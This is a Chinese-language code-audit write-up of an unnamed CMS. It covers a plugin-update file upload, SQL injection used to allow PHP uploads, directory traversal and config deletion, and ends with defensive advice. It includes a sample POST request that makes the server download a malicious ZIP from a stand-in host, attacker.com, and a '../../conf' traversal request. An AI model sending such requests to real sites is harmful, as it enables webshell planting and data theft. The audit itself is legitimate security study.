某cms代码审计引发的思考
字数 1451 2025-08-25 22:58:40
CMS代码审计与漏洞利用实战教学
0x01 前言
本教学文档基于对某CMS系统的深入代码审计,揭示了多种安全漏洞及其利用方式。该CMS存在多个高危漏洞,包括任意文件上传、SQL注入、目录穿越等,这些漏洞的组合利用可以实现从普通用户到系统完全控制权的提升。
0x02 漏洞分析
1. 插件更新功能导致的任意文件上传
漏洞位置: /A/c/PluginsController.php 中的 update 函数
漏洞描述:
- 攻击者可以通过控制
download_url参数,从远程服务器下载并解压恶意压缩包 - 解压后的文件会被放置在
/A/exts/目录下
利用步骤:
- 构造恶意POST请求:
POST /admin.php/Plugins/update.html HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=start-download&filepath=msgphone&download_url=http://attacker.com/malicious.zip
- 服务器会下载并解压恶意ZIP文件到
/A/exts/目录
代码分析:
frparam函数未对输入进行过滤,直接从data数组取数据- 远程URL被直接用于下载和解压操作
2. SQL注入漏洞
漏洞位置: /Home/c/HomeController.php 中的相关函数
漏洞描述:
- 用户输入直接拼接到SQL查询中
- 可导致报错型SQL注入
利用方式:
- 构造恶意请求触发SQL报错
- 通过错误信息获取数据库结构
代码调用链:
- 用户输入 →
find函数 →findAll函数 findAll函数拼接SQL语句并执行- 错误信息直接返回给用户
3. 通过SQL注入实现文件上传绕过
利用链:
- 利用SQL注入修改数据库中的
fileType字段,添加php等危险扩展名 - 清空缓存使更改生效
- 上传PHP webshell
关键代码:
- 上传类型检查位于
/A/c/CommonController.php的uploads函数 - 从
webconf获取允许的文件类型 webConf函数调用getCache从/cache/data/读取配置
4. 后台任意文件夹压缩下载
漏洞位置: /A/c/PluginsController.php中的output函数
漏洞描述:
- 未过滤
filepath参数导致目录穿越 - 可打包下载任意目录
利用方式:
GET /admin.php/Plugins/output?filepath=../../conf HTTP/1.1
Host: target.com
5. 后台配置文件删除
漏洞位置: /A/c/PluginsController.php中的action_do函数(483-494行)
漏洞描述:
- 未对文件路径进行限制
- 可删除包含
config.php的任意目录
利用方式:
- 构造请求删除Conf目录
- 导致网站无法正常运行
0x03 漏洞利用技巧
-
代码审计工具:
- 使用PHPStorm + Xdebug进行动态调试
- 监控SQL日志分析注入点
-
上传绕过思路:
- 关注CMS的在线升级/插件下载功能
- 替换远程下载URL为攻击者控制的恶意包
-
SQL注入利用:
- 通过修改关键配置实现权限提升
- 结合缓存机制使修改立即生效
0x04 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 实现参数化查询防止SQL注入
-
文件操作安全:
- 限制文件下载/解压的目标目录
- 实现安全的路径拼接
-
权限控制:
- 后台操作需要二次验证
- 关键操作记录详细日志
-
配置安全:
- 配置文件设置适当权限
- 避免数据库存储可执行配置
0x05 总结
本案例展示了CMS系统中常见的多种漏洞类型及其组合利用方式。通过代码审计,我们发现从简单的参数未过滤到复杂的权限提升链条,都可能造成严重的安全问题。安全开发应遵循最小权限原则,对所有用户输入保持怀疑态度,并实现多层防御机制。